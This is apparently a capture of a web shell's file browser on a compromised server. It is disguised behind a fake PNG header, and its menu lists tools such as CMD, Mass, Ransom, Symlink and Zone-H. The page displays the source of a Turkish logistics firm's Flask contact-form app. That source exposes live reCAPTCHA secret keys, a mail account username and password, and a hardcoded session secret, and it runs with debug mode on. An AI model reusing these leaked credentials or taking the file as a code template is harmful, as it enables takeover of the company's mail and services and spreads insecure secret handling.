\x89PNG\r\n\x1a\n\x00\x00\x00\x0DIHDR\x00\x00\x00\x01\x00 \x00\x00\x01\x08\x06\x00\x00\x00\x1F\x15\xC4\x89\x00\x00\x00 \x0AIDATx\x9Ccb\x00\x00\x00\x06\x00\x03\x1A\x05\x9D\x00\x00 \x00\x00IEND\xAE\x42\x60\x82
| Path : /var/www/html/giallo/martas/ |
|
B-Con CMD Config cPanel C-Rdp D-Log Info Jump Mass Ransom Symlink vHost Zone-H |
| Current File : /var/www/html/giallo/martas/app.py |
from flask import Flask, render_template, request, flash, redirect, url_for, send_from_directory
from flask_mail import Mail, Message
import requests
from PIL import Image
import os
app = Flask(__name__)
# reCAPTCHA ayarları
RECAPTCHA_SITE_KEY = "6LejlfcqAAAAAMKn89biMS2ahPjwmhdyFafB4RvC"
RECAPTCHA_SECRET_KEY = "6LejlfcqAAAAAHquKwhfx7H05hppkWYwoM6aLg6m"
# Mail ayarları
app.config['MAIL_SERVER'] = 'mail.giallologistic.com'
app.config['MAIL_PORT'] = 587 # veya 465 (SSL için)
app.config['MAIL_USE_TLS'] = True
app.config['MAIL_USERNAME'] = 'gialloweb@giallologistics.com'
app.config['MAIL_PASSWORD'] = 'Paijoc4Yee9vaey'
app.config['MAIL_DEFAULT_SENDER'] = 'gialloweb@giallologistics.com'
# Flask-Mail başlatma
mail = Mail(app)
# Secret key for flash messages
app.secret_key = 'giallo_secret_key_2025'
@app.route('/')
def home():
return render_template('index.html', recaptcha_site_key=RECAPTCHA_SITE_KEY)
def verify_recaptcha(response):
data = {
'secret': RECAPTCHA_SECRET_KEY,
'response': response
}
r = requests.post('https://www.google.com/recaptcha/api/siteverify', data=data)
return r.json().get('success', False)
@app.route('/submit_contact', methods=['POST'])
def submit_contact():
if request.method == 'POST':
# reCAPTCHA doğrulama
recaptcha_response = request.form.get('g-recaptcha-response')
if not recaptcha_response:
flash('Lütfen robot olmadığınızı doğrulayın.', 'error')
return redirect(url_for('home', _anchor='iletisim'))
if not verify_recaptcha(recaptcha_response):
flash('reCAPTCHA doğrulaması başarısız oldu. Lütfen tekrar deneyin.', 'error')
return redirect(url_for('home', _anchor='iletisim'))
name = request.form.get('name')
email = request.form.get('email')
phone = request.form.get('phone')
subject = request.form.get('subject')
message = request.form.get('message')
# Mail içeriği oluşturma
msg_body = f"""
Yeni İletişim Formu Mesajı:
İsim: {name}
E-posta: {email}
Telefon: {phone}
Konu: {subject}
Mesaj:
{message}
"""
try:
msg = Message(
subject=f'Giallo Logistics - Yeni İletişim Formu: {subject}',
recipients=['burcu.saricam@giallologistics.com'],
body=msg_body
)
mail.send(msg)
flash('Mesajınız başarıyla gönderildi. En kısa sürede size dönüş yapacağız.', 'success')
except Exception as e:
print(f"Mail gönderme hatası: {e}")
flash('Mesajınız gönderilirken bir hata oluştu. Lütfen daha sonra tekrar deneyiniz.', 'error')
return redirect(url_for('home', _anchor='iletisim'))
@app.route('/hakkimizda')
def about():
return render_template('about.html')
@app.route('/hizmetler')
def services():
return render_template('services.html')
def optimize_image(image_path, quality=85):
img = Image.open(image_path)
# Maksimum boyut
max_size = (1200, 1200)
img.thumbnail(max_size, Image.Resampling.LANCZOS)
# Optimize edilmiş görsel kaydetme
img.save(image_path, quality=quality, optimize=True)
@app.route('/robots.txt')
@app.route('/sitemap.xml')
def static_from_root():
return send_from_directory(app.static_folder, request.path[1:])
if __name__ == '__main__':
app.run(debug=True)